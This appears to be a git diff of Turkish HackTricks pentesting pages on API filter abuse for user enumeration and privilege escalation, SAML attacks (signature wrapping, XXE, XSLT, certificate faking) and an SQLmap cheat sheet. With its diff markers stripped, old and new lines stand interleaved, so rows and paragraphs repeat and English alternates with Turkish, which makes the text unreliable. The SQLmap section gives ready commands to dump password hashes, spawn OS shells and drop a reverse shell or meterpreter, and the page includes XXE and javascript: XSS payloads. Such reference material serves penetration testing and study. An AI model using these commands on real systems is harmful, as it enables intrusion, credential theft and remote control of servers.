|--------|------------|---------|
| `filter[users]` | Belirli kullanıcılar tarafından sonuçları filtreler | `/api/v2/myTable?filter[users]=123` |
| `filter[status]` | Duruma göre filtreler (aktif/pasif, tamamlandı, vb.) | `/api/v2/orders?filter[status]=active` |
| `filter[status]` | Duruma göre filtreler (aktif/aktif değil, tamamlandı, vb.) | `/api/v2/orders?filter[status]=active` |
| `filter[date]` | Tarih aralığında sonuçları filtreler | `/api/v2/logs?filter[date]=gte:2024-01-01` |
| `filter[category]` | Kategori veya kaynak türüne göre filtreler | `/api/v2/products?filter[category]=electronics` |
| `filter[id]` | Benzersiz bir tanımlayıcıya göre filtreler | `/api/v2/posts?filter[id]=42` |
## Yaygın parametreler
Bu parametreler, API yanıtlarını optimize etmeye yardımcı olur:
## Common parameters
These parameters help optimize API responses:
| Parameter | Description | Example |
| Parametre | Açıklama | Örnek |
|-----------|------------|---------|
| `include` | Yanıt içinde ilgili kaynakları dahil eder | `/api/v2/orders?include=customer,items` |
| `sort` | Sonuçları artan veya azalan sırada sıralar | `/api/v2/users?sort=-created_at` |
| `page[size]` | Sayfa başına sonuç sayısını kontrol eder | `/api/v2/products?page[size]=10` |
| `page[number]` | Sayfa numarasını belirtir | `/api/v2/products?page[number]=2` |
| `fields[resource]` | Yanıtta hangi alanların döndürüleceğini tanımlar | `/api/v2/users?fields[users]=id,name,email` |
| `search` | Daha esnek bir arama gerçekleştirir | `/api/v2/posts?search=technology` |
| `fields[resource]` | Yanıt içinde hangi alanların döneceğini tanımlar | `/api/v2/users?fields[users]=id,name,email` |
| `search` | Daha esnek bir arama yapar | `/api/v2/posts?search=technology` |
## Information leakage and enumeration of users
The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and return a true or false depending on whether or not it exists in the database:
### Request
## Bilgi sızıntısı ve kullanıcıların sayımı
Aşağıdaki istek, e-posta parametresini kontrol etmek için bir kayıt uç noktasını gösterir; bu, o e-posta ile kayıtlı bir kullanıcı olup olmadığını kontrol eder ve veritabanında var olup olmadığına bağlı olarak doğru veya yanlış döndürür:
### İstek
```
GET /api/registrations HTTP/1.1
Host: localhost:3000
@ -163,7 +158,7 @@ Access-Control-Allow-Origin: *
}
}
```
Geçerli bir e-posta hesabıyla eşleşme durumunda, uygulama sunucuya yanıt olarak klasik *“true”*, *"1"* veya başka bir şey yerine kullanıcının bilgilerini döndürecektir:
Geçerli bir e-posta hesabıyla eşleşme durumunda, uygulama sunucuya yanıt olarak klasik bir *“true”*, *"1"* veya başka bir şey yerine kullanıcının bilgilerini döndürecektir:
### Request
```
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
@ -239,7 +234,7 @@ Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
```
Yine, kullanıcıların bilgilerini elde etmenin ve erişim kontrolünü aşmanın alternatif bir yolunu sağlayacak filtreler ve özel operatörlerden yararlanıyoruz. Örneğin, kullanıcı *ID*'sinde “*a*” harfini içeren *kullanıcı*ları filtreleyin:
Yine, kullanıcıların bilgilerini elde etmenin ve erişim kontrolünü aşmanın alternatif bir yolunu sağlayacak filtreleri ve özel operatörleri kullanıyoruz. Örneğin, kullanıcı *ID*'sinde “*a*” harfini içeren *kullanıcı*ları filtreleyin:
### Request
```
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
@ -349,7 +344,7 @@ Access-Control-Allow-Origin: *
}
```
Belirli operatörleri kullanarak yönetici kullanıcılarını sayabiliriz:
### Request
### İstek
```
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
@ -396,7 +391,7 @@ Access-Control-Allow-Origin: *
}]
}
```
Bir yönetici kullanıcısının tanımlayıcısını bildikten sonra, ilgili filtreyi yönetici tanımlayıcısıyla değiştirmek veya eklemek suretiyle bir ayrıcalık yükseltmesi istismar etmek mümkün olacaktır ve aynı ayrıcalıkları elde edebileceksiniz:
Bir yönetici kullanıcısının tanımlayıcısını bildikten sonra, ilgili filtreyi yönetici tanımlayıcısıyla değiştirmek veya eklemek suretiyle bir ayrıcalık yükseltmesi istismar etmek mümkün olacaktır ve aynı ayrıcalıkları elde edilecektir:
### Request
```
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
@ -516,7 +511,7 @@ Access-Control-Allow-Origin: *
}]
}
```
Filtrelerin kombinasyonu, yetkilendirme kontrolünden kaçınmak ve diğer kullanıcıların profillerine erişim sağlamak için kullanılabilir:
Filtrelerin kombinasyonu, yetkilendirme kontrolünden kaçmak ve diğer kullanıcıların profillerine erişim sağlamak için kullanılabilir:
### Request
```
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1

View File

@ -1,7 +1,5 @@
# SAML Saldırıları
## SAML Saldırıları
{{#include ../../banners/hacktricks-training.md}}
## Temel Bilgiler
@ -16,7 +14,7 @@ saml-basics.md
## XML gidiş-dönüş
XML'de XML'in imzalı kısmı bellekte saklanır, ardından bazı kodlama/şifreleme işlemleri gerçekleştirilir ve imza kontrol edilir. İdeal olarak, bu kodlama/şifreleme veriyi değiştirmemelidir, ancak bu senaryoya dayanarak, **kontrol edilen veri ile orijinal veri aynı olmayabilir**.
XML'de, XML'in imzalı kısmı bellekte saklanır, ardından bazı kodlama/şifreleme işlemleri gerçekleştirilir ve imza kontrol edilir. İdeal olarak, bu kodlama/şifreleme veriyi değiştirmemelidir, ancak bu senaryoya dayanarak, **kontrol edilen veri ile orijinal veri aynı olmayabilir**.
Örneğin, aşağıdaki kodu kontrol edin:
```ruby
@ -33,40 +31,40 @@ puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
REXML 3.2.4 veya daha önceki bir sürümde programı çalıştırmak, bunun yerine aşağıdaki çıktıyı verecektir:
REXML 3.2.4 veya daha önceki bir sürümle programı çalıştırmak, bunun yerine aşağıdaki çıktıyı verecektir:
```
First child in original doc: Y
First child after round-trip: Z
```
Bu, REXML'in yukarıdaki programdan orijinal XML belgesini gördüğü şekildir:
This is how REXML saw the original XML document from the program above:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)
Ve bu da, bir dizi ayrıştırma ve serileştirme işleminden sonra gördüğü şekildir:
And this is how it saw it after a round of parsing and serialization:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)
ıklık ve nasıl istismar edileceği hakkında daha fazla bilgi için:
For more information about the vulnerability and how to abuse it:
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## XML İmza Sarma Saldırıları
**XML İmza Sarma saldırılarında (XSW)**, düşmanlar, XML belgeleri iki farklı aşamada işlendiğinde ortaya çıkan bir zafiyeti istismar eder: **imza doğrulama** ve **işlev çağrısı**. Bu saldırılar, XML belgesinin yapısını değiştirmeyi içerir. Özellikle, saldırgan **sahte öğeler** enjekte eder ve bu öğeler XML İmzasının geçerliliğini tehlikeye atmaz. Bu manipülasyon, **uygulama mantığı** tarafından analiz edilen öğeler ile **imza doğrulama modülü** tarafından kontrol edilenler arasında bir tutarsızlık yaratmayı amaçlar. Sonuç olarak, XML İmzası teknik olarak geçerli kalırken ve doğrulamadan geçerken, uygulama mantığı **sahte öğeleri** işler. Böylece, saldırgan XML İmzasının **bütünlük korumasını** ve **kaynak kimlik doğrulamasını** etkili bir şekilde atlatır ve **rastgele içerik enjekte etme** olanağına sahip olur.
**XML İmza Sarma saldırılarında (XSW)**, düşmanlar, XML belgeleri iki farklı aşamadan geçirilirken ortaya çıkan bir zafiyeti kullanır: **imza doğrulama** ve **işlev çağrısı**. Bu saldırılar, XML belgesinin yapısını değiştirmeyi içerir. Özellikle, saldırgan **sahte öğeler** enjekte eder ve bu öğeler XML İmzasının geçerliliğini tehlikeye atmaz. Bu manipülasyon, **uygulama mantığı** tarafından analiz edilen öğeler ile **imza doğrulama modülü** tarafından kontrol edilenler arasında bir tutarsızlık yaratmayı amaçlar. Sonuç olarak, XML İmzası teknik olarak geçerli kalırken ve doğrulamadan geçerken, uygulama mantığı **sahte öğeleri** işler. Böylece, saldırgan XML İmzasının **bütünlük korumasını** ve **kaynak kimlik doğrulamasını** etkili bir şekilde atlatır ve **rastgele içerik enjekte etme** olanağına sahip olur.
Aşağıdaki saldırılar [**bu blog yazısına**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **ve** [**bu makaleye**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) dayanmaktadır. Bu nedenle, daha fazla ayrıntı için bunları kontrol edin.
Aşağıdaki saldırılar [**bu blog yazısına**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **ve** [**bu makaleye**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) dayanmaktadır. Daha fazla ayrıntı için bunları kontrol edin.
### XSW #1
- **Strateji**: İmza içeren yeni bir kök öğe eklenir.
- **Sonuç**: Doğru "Response -> Assertion -> Subject" ile saldırganın "kötü yeni Response -> Assertion -> Subject" arasında karışıklık yaşanabilir, bu da veri bütünlüğü sorunlarına yol açar.
- **Sonuç**: Doğrulayıcı, meşru "Response -> Assertion -> Subject" ile saldırganın "kötü yeni Response -> Assertion -> Subject" arasında karışıklık yaşayabilir, bu da veri bütünlüğü sorunlarına yol açar.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../images/image (506).png>)
### XSW #2
- **XSW #1'den Farkı**: Sarma imzası yerine ayrık bir imza kullanır.
- **XSW #1'den Farkı**: Sarılı bir imza yerine ayrık bir imza kullanır.
- **Sonuç**: XSW #1'e benzer "kötü" yapı, bütünlük kontrolünden sonra iş mantığını yanıltmayı amaçlar.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>)
@ -74,7 +72,7 @@ Aşağıdaki saldırılar [**bu blog yazısına**](https://epi052.gitlab.io/note
### XSW #3
- **Strateji**: Kötü bir Assertion, orijinal assertion ile aynı hiyerarşik seviyede oluşturulur.
- **Sonuç**: İş mantığını kötü verileri kullanmaya yönlendirmeyi amaçlar.
- **Sonuç**: İş mantığını kötü niyetli verileri kullanmaya yönlendirmeyi amaçlar.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../images/image (120).png>)
@ -87,7 +85,7 @@ Aşağıdaki saldırılar [**bu blog yazısına**](https://epi052.gitlab.io/note
### XSW #5
- **Eşsiz Özellik**: Ne İmza ne de orijinal Assertion standart yapılandırmalara (sarılmış/saran/ayrık) uyar.
- **Eşsiz Özellik**: Ne İmza ne de orijinal Assertion standart yapılandırmalara (sarılı/saran/ayrık) uyar.
- **Sonuç**: Kopyalanmış Assertion, İmza'yı sarar ve beklenen belge yapısını değiştirir.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)
@ -101,8 +99,8 @@ Aşağıdaki saldırılar [**bu blog yazısına**](https://epi052.gitlab.io/note
### XSW #7
- **Strateji**: Kopyalanmış Assertion'ın bir çocuk olarak eklendiği bir Extensions öğesi eklenir.
- **Sonuç**: Bu, Extensions öğesinin daha az kısıtlayıcı şemasını istismar ederek şema doğrulama önlemlerini atlatır, özellikle OpenSAML gibi kütüphanelerde.
- **Strateji**: Kopyalanmış Assertion'ın çocuk olarak eklendiği bir Extensions öğesi eklenir.
- **Sonuç**: Bu, Extensions öğesinin daha az kısıtlayıcı şemasını kullanarak şema doğrulama önlemlerini atlatır, özellikle OpenSAML gibi kütüphanelerde.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>)
@ -115,7 +113,7 @@ Aşağıdaki saldırılar [**bu blog yazısına**](https://epi052.gitlab.io/note
### Araç
İsteği ayrıştırmak, seçtiğiniz herhangi bir XSW saldırısını uygulamak ve başlatmak için Burp eklentisi [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanabilirsiniz.
İsteğinizi ayrıştırmak, seçtiğiniz herhangi bir XSW saldırısını uygulamak ve başlatmak için Burp eklentisi [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanabilirsiniz.
## XXE
@ -125,7 +123,7 @@ XXE saldırılarının ne tür saldırılar olduğunu bilmiyorsanız, lütfen a
../xxe-xee-xml-external-entity.md
{{#endref}}
SAML Yanıtları **sıkıştırılmış ve base64 kodlu XML belgeleri**dir ve XML Dış Varlık (XXE) saldırılarına karşı hassas olabilir. SAML Yanıtının XML yapısını manipüle ederek, saldırganlar XXE zafiyetlerini istismar etmeye çalışabilir. İşte böyle bir saldırının nasıl görselleştirilebileceği:
SAML Yanıtları **sıkıştırılmış ve base64 kodlu XML belgeleri**dir ve XML Dışsal Varlık (XXE) saldırılarına karşı hassas olabilir. SAML Yanıtının XML yapısını manipüle ederek, saldırganlar XXE zafiyetlerini kullanmaya çalışabilir. İşte böyle bir saldırının nasıl görselleştirilebileceği:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -143,13 +141,13 @@ SAML Yanıtları **sıkıştırılmış ve base64 kodlu XML belgeleri**dir ve XM
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
## Araçlar
## Tools
SAML isteğinden POC oluşturmak için olası XXE zafiyetlerini ve SAML zafiyetlerini test etmek amacıyla Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)'ı da kullanabilirsiniz.
Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanarak bir SAML isteğinden POC oluşturabilir ve olası XXE zafiyetleri ile SAML zafiyetlerini test edebilirsiniz.
Ayrıca bu konuşmaya da göz atın: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## SAML Üzerinden XSLT
## XSLT via SAML
XSLT hakkında daha fazla bilgi için:
@ -159,7 +157,7 @@ XSLT hakkında daha fazla bilgi için:
Genişletilebilir Stil Sayfası Dili Dönüşümleri (XSLT), XML belgelerini HTML, JSON veya PDF gibi çeşitli formatlara dönüştürmek için kullanılabilir. **XSLT dönüşümlerinin dijital imzanın doğrulanmasından önce gerçekleştirildiğini** belirtmek önemlidir. Bu, bir saldırının geçerli bir imza olmadan bile başarılı olabileceği anlamına gelir; kendi imzalı veya geçersiz bir imza devam etmek için yeterlidir.
Bu tür zafiyetleri kontrol etmek için bir **POC** bulabilirsiniz, bu bölümün başında bahsedilen hacktricks sayfasında payload'lar bulabilirsiniz.
Burada bu tür zafiyetleri kontrol etmek için bir **POC** bulabilirsiniz, bu bölümün başında bahsedilen hacktricks sayfasında payload'lar bulabilirsiniz.
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
@ -183,7 +181,7 @@ Bu tür zafiyetleri kontrol etmek için bir **POC** bulabilirsiniz, bu bölümü
Ayrıca, SAML isteğinden POC oluşturmak için Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanabilirsiniz. Bu, olası XSLT zafiyetlerini test etmek için kullanılabilir.
Bu konuşmayı da kontrol edin: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
Ayrıca bu konuşmaya da göz atın: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XML İmza Hariç Tutma <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
@ -201,29 +199,29 @@ Ayrıca, Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61
## Sertifika Sahteciliği
Sertifika Sahteciliği, bir **Hizmet Sağlayıcının (SP) bir SAML Mesajının güvenilir bir Kimlik Sağlayıcı (IdP) tarafından imzalandığını doğru bir şekilde doğrulayıp doğrulamadığını test etmek için** kullanılan bir tekniktir. Bu, SAML Yanıtını veya İddiasını imzalamak için \***kendinden imzalı bir sertifika** kullanmayı içerir ve bu, SP ile IdP arasındaki güven doğrulama sürecini değerlendirmeye yardımcı olur.
Sertifika Sahteciliği, bir **Hizmet Sağlayıcının (SP) SAML Mesajının güvenilir bir Kimlik Sağlayıcı (IdP) tarafından imzalandığını doğru bir şekilde doğrulayıp doğrulamadığını test etmek için** kullanılan bir tekniktir. Bu, SAML Yanıtını veya İddiasını imzalamak için bir \***kendinden imzalı sertifika** kullanmayı içerir ve bu, SP ile IdP arasındaki güven doğrulama sürecini değerlendirmeye yardımcı olur.
### Sertifika Sahteciliği Nasıl Yapılır
Aşağıdaki adımlar, [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp uzantısını kullanarak süreci özetlemektedir:
1. SAML Yanıtını yakalayın.
2. Yanıt bir imza içeriyorsa, sertifikayı `Sertifikayı SAML Raider Sertifikalarına Gönder` butonunu kullanarak gönderin.
3. SAML Raider Sertifikalar sekmesinde, içe aktarılan sertifikayı seçin ve kendinden imzalı bir klon oluşturmak için `Kaydet ve Kendinden İmzala` butonuna tıklayın.
4. Burp'un Proxy'sindeki yakalanan isteğe geri dönün. XML İmza açılır menüsünden yeni kendinden imzalı sertifikayı seçin.
2. Yanıt bir imza içeriyorsa, sertifikayı `Sertifikayı SAML Raider Sertifikalarına Gönder` butonunu kullanarak SAML Raider Sertifikalarına gönderin.
3. SAML Raider Sertifikaları sekmesinde, içe aktarılan sertifikayı seçin ve orijinal sertifikanın kendinden imzalı bir kopyasını oluşturmak için `Kaydet ve Kendinden İmzala` butonuna tıklayın.
4. Burpun Proxysinde yakalanan isteğe geri dönün. XML İmza açılır menüsünden yeni kendinden imzalı sertifikayı seçin.
5. `İmzaları Kaldır` butonunu kullanarak mevcut imzaları kaldırın.
6. Mesajı veya iddiayı yeni sertifika ile **`(Yeniden) Mesajı İmzala`** veya **`(Yeniden) İddia İmzala`** butonunu kullanarak imzalayın.
7. İmzalı mesajı iletin. Başarılı bir kimlik doğrulama, SP'nin kendinden imzalı sertifikanızla imzalanmış mesajları kabul ettiğini gösterir ve SAML mesajlarının doğrulama sürecinde potansiyel zafiyetleri ortaya çıkarır.
## Token Alıcı Karışıklığı / Hizmet Sağlayıcı Hedef Karışıklığı <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
Token Alıcı Karışıklığı ve Hizmet Sağlayıcı Hedef Karışıklığı, **Hizmet Sağlayıcının bir yanıtın hedef alıcısını doğru bir şekilde doğrulayıp doğrulamadığını** kontrol etmeyi içerir. Özünde, bir Hizmet Sağlayıcı, bir başka sağlayıcı için tasarlanmışsa bir kimlik doğrulama yanıtını reddetmelidir. Buradaki kritik unsur, SAML Yanıtının **SubjectConfirmationData** öğesi içinde bulunan **Alıcı** alanıdır. Bu alan, İddianın gönderilmesi gereken yeri belirten bir URL'yi belirtir. Eğer gerçek alıcı, hedef Hizmet Sağlayıcı ile eşleşmiyorsa, İddia geçersiz sayılmalıdır.
Token Alıcı Karışıklığı ve Hizmet Sağlayıcı Hedef Karışıklığı, **Hizmet Sağlayıcının bir yanıtın hedef alıcısını doğru bir şekilde doğrulayıp doğrulamadığını** kontrol etmeyi içerir. Temelde, bir Hizmet Sağlayıcı, bir başka sağlayıcı için tasarlanmışsa bir kimlik doğrulama yanıtını reddetmelidir. Buradaki kritik unsur, SAML Yanıtının **SubjectConfirmationData** öğesi içinde bulunan **Alıcı** alanıdır. Bu alan, İddianın gönderilmesi gereken yeri belirten bir URL'yi belirtir. Eğer gerçek alıcı, hedef Hizmet Sağlayıcı ile eşleşmiyorsa, İddia geçersiz sayılmalıdır.
#### **Nasıl Çalışır**
Bir SAML Token Alıcı Karışıklığı (SAML-TRC) saldırısının gerçekleştirilebilmesi için belirli koşulların sağlanması gerekir. Öncelikle, bir Hizmet Sağlayıcıda (SP-Legit olarak adlandırılır) geçerli bir hesap olmalıdır. İkincisi, hedeflenen Hizmet Sağlayıcı (SP-Target), SP-Legit'e hizmet eden aynı Kimlik Sağlayıcıdan token kabul etmelidir.
Bir SAML Token Alıcı Karışıklığı (SAML-TRC) saldırısının gerçekleştirilebilmesi için belirli koşulların sağlanması gerekir. Öncelikle, bir Hizmet Sağlayıcıda (SP-Legit olarak adlandırılır) geçerli bir hesap olmalıdır. İkincisi, hedeflenen Hizmet Sağlayıcı (SP-Target), SP-Legit'e hizmet veren aynı Kimlik Sağlayıcıdan token kabul etmelidir.
Bu koşullar altında saldırı süreci basittir. SP-Legit ile paylaşılan Kimlik Sağlayıcı aracılığıyla geçerli bir oturum başlatılır. Kimlik Sağlayıcıdan SP-Legit'e gelen SAML Yanıtı yakalanır. Bu yakalanan SAML Yanıtı, aslında SP-Legit için tasarlanmışken, SP-Target'a yönlendirilir. Bu saldırının başarısı, SP-Target'ın İddia kabul etmesiyle ölçülür ve bu, SP-Legit için kullanılan aynı hesap adı altında kaynaklara erişim sağlar.
Bu koşullar altında saldırı süreci basittir. SP-Legit ile paylaşılan Kimlik Sağlayıcı aracılığıyla geçerli bir oturum başlatılır. Kimlik Sağlayıcıdan SP-Legit'e gelen SAML Yanıtı yakalanır. Bu yakalanan SAML Yanıtı, aslında SP-Legit için tasarlanmışken SP-Target'a yönlendirilir. Bu saldırının başarısı, SP-Target'ın İddia kabul etmesiyle ölçülür ve bu, SP-Legit için kullanılan aynı hesap adı altında kaynaklara erişim sağlar.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
@ -244,7 +242,7 @@ return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
```
## Çıkış Fonksiyonunda XSS
## Çıkış İşlevinde XSS
Orijinal araştırmaya [bu bağlantıdan](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) erişilebilir.
@ -256,9 +254,9 @@ Bu bağlantıya erişildiğinde, bir yönlendirme gerçekleşti:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
Bu, `base` parametresinin bir URL kabul ettiğini ortaya koydu. Bunu dikkate alarak, bir XSS (Cross-Site Scripting) saldırısını başlatma girişimiyle URL'yi `javascript:alert(123);` ile değiştirme fikri ortaya çıktı.
Bu, `base` parametresinin bir URL kabul ettiğini ortaya koydu. Bunu göz önünde bulundurarak, bir XSS (Cross-Site Scripting) saldırısını başlatma girişimiyle URL'yi `javascript:alert(123);` ile değiştirme fikri ortaya çıktı.
### Toplu Sömürü
### Kitle İstismar
[Bu araştırmadan](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):

View File

@ -1,6 +1,10 @@
# SQLmap için Temel Argümanlar
# SQLMap
## Genel
{{#include ../../banners/hacktricks-training.md}}
## SQLmap için Temel Argümanlar
### Genel
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -17,9 +21,9 @@
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## Bilgi Alımı
### Bilgi Alımı
### Dahili
#### Dahili
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -27,7 +31,7 @@
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### DB verileri
#### DB verileri
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -36,24 +40,24 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# Enjeksiyon Yeri
## Enjeksiyon yeri
## Burp/ZAP Yakalama
### Burp/ZAP yakalamasından
İsteği yakalayın ve bir req.txt dosyası oluşturun.
```bash
sqlmap -r req.txt --current-user
```
## GET İsteği Enjeksiyonu
### GET İsteği Enjeksiyonu
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## POST İsteği Enjeksiyonu
### POST İsteği Enjeksiyonu
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Başlıklardaki ve Diğer HTTP Yöntemlerindeki Enjeksiyonlar
### Başlıklardaki ve Diğer HTTP Yöntemlerindeki Enjeksiyonlar
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -67,12 +71,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## İkinci derece enjeksiyon
### İkinci derece enjeksiyon
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Shell
### Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -83,7 +87,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## SQLmap ile bir web sitesini tarayın ve otomatik olarak istismar edin
### SQLmap ile bir web sitesini tarayın ve otomatik olarak istismar edin
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -91,22 +95,22 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# Enjeksiyonu Özelleştirme
## Enjeksiyonu Özelleştirme
## Bir ek ayarlayın
### Bir ek ayarlama
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## Önek
### Önek
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Boolean enjeksiyonu bulmaya yardım
### Boolean enjeksiyonu bulmaya yardım
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Tamper
### Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -118,14 +122,14 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler |
| base64encode.py | Verilen payload'daki tüm karakterleri Base64 ile kodlar |
| between.py | 'BÜYÜK' operatörünü \('&gt;'\) 'NOT BETWEEN 0 AND \#' ile değiştirir |
| bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında karakter = ile LIKE operatörünü değiştirir |
| chardoubleencode.py | Verilen payload'daki tüm karakterleri çift url-kodlar \(zaten kodlanmış olanları işlememektedir\) |
| bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında '=' karakterini LIKE operatörü ile değiştirir |
| chardoubleencode.py | Verilen payload'daki tüm karakterleri çift url-kodlar \(zaten kodlanmış olanları işlemiyor\) |
| commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir |
| commalessmid.py | 'MID\(A, B, C\)' gibi örnekleri 'MID\(A FROM B FOR C\)' ile değiştirir |
| commalessmid.py | 'MID\(A, B, C\)' gibi örnekleri 'MID\(A FROM B FOR C\)' ile değiştirir |
| concat2concatws.py | 'CONCAT\(A, B\)' gibi örnekleri 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' ile değiştirir |
| charencode.py | Verilen payload'daki tüm karakterleri url-kodlar \(zaten kodlanmış olanları işlememektedir\) |
| charunicodeencode.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar \(zaten kodlanmış olanları işlememektedir\). "%u0022" |
| charunicodeescape.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar \(zaten kodlanmış olanları işlememektedir\). "\u0022" |
| charencode.py | Verilen payload'daki tüm karakterleri url-kodlar \(zaten kodlanmış olanları işlemiyor\) |
| charunicodeencode.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar \(zaten kodlanmış olanları işlemiyor\). "%u0022" |
| charunicodeescape.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar \(zaten kodlanmış olanları işlemiyor\). "\u0022" |
| equaltolike.py | Eşitlik operatörünün tüm örneklerini \('='\) 'LIKE' operatörü ile değiştirir |
| escapequotes.py | Ters eğik çizgi ile alıntıları kaçırır \(' ve "\) |
| greatest.py | 'BÜYÜK' operatörünü \('&gt;'\) 'GREATEST' karşılığı ile değiştirir |
@ -134,28 +138,28 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| modsecurityversioned.py | Tam sorguyu versiyonlu yorum ile sarar |
| modsecurityzeroversioned.py | Tam sorguyu sıfır versiyonlu yorum ile sarar |
| multiplespaces.py | SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler |
| nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir \(örneğin .replace\("SELECT", ""\) filtreleri |
| nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir \(örneğin .replace\("SELECT", ""\)\) filtreler |
| percentage.py | Her karakterin önüne bir yüzde işareti \('%'\) ekler |
